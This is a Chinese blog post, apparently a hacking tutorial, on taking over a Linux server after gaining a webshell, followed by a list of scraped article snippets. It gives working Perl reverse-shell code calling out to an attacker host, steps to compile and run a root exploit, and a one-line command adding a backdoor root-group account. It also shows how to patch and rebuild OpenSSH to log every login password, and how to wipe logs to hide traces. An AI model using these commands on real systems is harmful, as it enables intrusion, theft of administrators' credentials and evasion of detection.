Linux低权限用户记录ssh密码
0x01 场景
现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始
0x02 过程
反弹shell
linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp。
自己外网服务器 nc -l -vv -p 1234 ,监听1234端口
webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码
Perl
use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=; //反向连接端口
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");
open(STDERR,">&S");exec("/bin/sh -i");};
在/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c
赋予 root.out 执行权限, chmod +x root.out
用反弹shell执行exp,完成后查看当前权限 ./root.out
重新编译ssh
第一步顺利的话就可以直接一句话加一个自己的账户了
Bash useradd -p `openssl passwd - -salt 'xxx' luo` -u -o -g root -G root -s /bin/bash -d /usr/bin/luo luo //一句添加账户密码luo:luo
ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。
备份原来的ssh,mv /etc/ssh /etc/ssh_bak
下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用
wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz
tar -zxvf openssh-.6p1.tar.gz 解压后进入解压出的目录
vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句
logit("username: %s password: %s", authctxt->user, password);
保存之后
./configure --sysconfdir=/etc/ssh --without-zlib-version-check --with-md5-passwords
make
make install
重启ssh服务
service ssh restart
接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。
注意事项
渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。
Linux低权限用户记录ssh密码的更多相关文章
- Linux给普通用户增加ssh权限
//1,创建用户 useradd name //2,修改密码 passwd name //3,修改ssh配置文件,在最后一行添加AllowUsers name vi /etc/ssh/sshd_con ...
- Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码)[转]
cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into ...
- linux低权限执行高权限
1.关于sudo不需要输密码,低权限执行高权限,在root下的命令visudo放开%wheel ALL:保存退出, 执行gpasswd -a yourusername wheel 2.脚本命令下的,权 ...
- Linux命令权限 用户权限 组权限 文件、目录权限
Linux命令的格式是: 命令+选项+参数 命令是必须存在的,选项和参数可以不必存在,不写的情况是有默认的参数 Linux 一切皆文件 对于文件而言,只需要对文件进行读写就可以实现对文件内容内容的增删 ...
- 终端-Linux命令之非交互SSH密码验证-Sshpass
Sshpass是使用SSH所谓的"交互式键盘密码身份验证"以非交互方式执行密码身份验证的工具 通俗来说就是 使用ssh密码登录 是需要在连接时手动输入密码的,没办法明文连接,如下图 ...
- 【python小工具】linux 低权限密码记录 提权小套路
#!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("%Y-%m-%d %H:%M&qu ...
- linux创建新用户以及修改密码
1. 使用root账户创建新用户 useradd webuser 2. 修改新增的用户的密码 passwd webuser 这时候会提示你输入新的密码: 注意:不要用su webuser进入该账户修改 ...
- 个人理解Linux文件权限--以前记录的,根据鸟哥的第二版去解释的
ps:鸟哥的第三版私房菜印刷的有问题 上面的意思:d指的是目录 档案拥有者权限:r可读w可写,x,可运行, 同群组的权限:r可读,这段有个-号,表示不可写,x表示可运行 其他非本群组的权限:r可读,这 ...
- linux和windows互传文件/用户配置文件和密码配置文件/用户组管理/用户管理
2.27linux和windows互传文件 3.1 用户配置文件和密码配置文件 3.2 用户组管理 3.3 用户管理 linux和windows互传文件 显示日期date [root@centos_1 ...
随机推荐
- UGUI_游戏界面开发Demo001
1.Alt+Stretch:快速拉伸匹配至画布,与父类大小保持一致. 2.Anchors锚点:实现屏幕自适应 图片也可以实现自适应.Target Graphic (目标图),点击的时候,控件的效果用在 ...
- python+selenium自动化测试——浏览器驱动
selenium控制浏览器需要下载对应版本的驱动,并把下载好的驱动解压然后拷贝到python的安装目录. 1.chrome 驱动对应版本及下载地址;https://npm.taobao.org/mir ...
- Python Flask高级编程之RESTFul API前后端分离精讲 (网盘免费分享)
Python Flask高级编程之RESTFul API前后端分离精讲 (免费分享) 点击链接或搜索QQ号直接加群获取其它资料: 链接:https://pan.baidu.com/s/12eKrJK ...
- centos7搭建squid
squid在做爬虫代理时候,我们只需要做到一个squid代理,然后对其他代理做转发轮询,如何使用squid做代理并自动转发轮询? 加上这行代码: cache_peer 120.xx.xx.32 par ...
- [AWS] EC2 & GPU
Amazon Elastic Compute Cloud (Amazon EC2) EC 2的使用 机型的选择 经验谈 Ref: Amazon EC2 实例类型 实践派 搭建网站:MediaWiki ...
- Python学习-迭代器、生成器
一.迭代器 1. 可迭代对象 我们知道字符串.列表.元组.字典.集合都可以使用for语句进行循环遍历,然后输出每一个元素,这些都是可迭代对象. 检查对象是否是可迭代对象可以用两种方式去判断: (1)使 ...
- java 数组定义
1.方式一: 数组声明: int[] intArr ; String [] strArr; int [][] intArrs; 数组初始化: intArr = new int[6]; //一维数组 s ...
- Spring Boot(三) 使用Lombok
C#写的多了用习惯了众多的语法糖,再写起来Java总会有一些非常不舒服的地方.比如用惯了C#的属性在用起来Java的属性,写起来就会感觉不够优雅.如:定义一个Person类 public cl ...
- js三级联动效果city-picker
链接:https://pan.baidu.com/s/1NE_EO5_xGvR-y-lboYap7g 提取码:h00e 效果展示: 解决: 动态赋值: 注意:在执行赋值之前,必须执行reset和des ...
- layui内部定义的function,外部调用时候,提示某函数未定义现象解决方案
1.引入layui.all.js文件 <script type="text/javascript" src="${pageContext.request.conte ...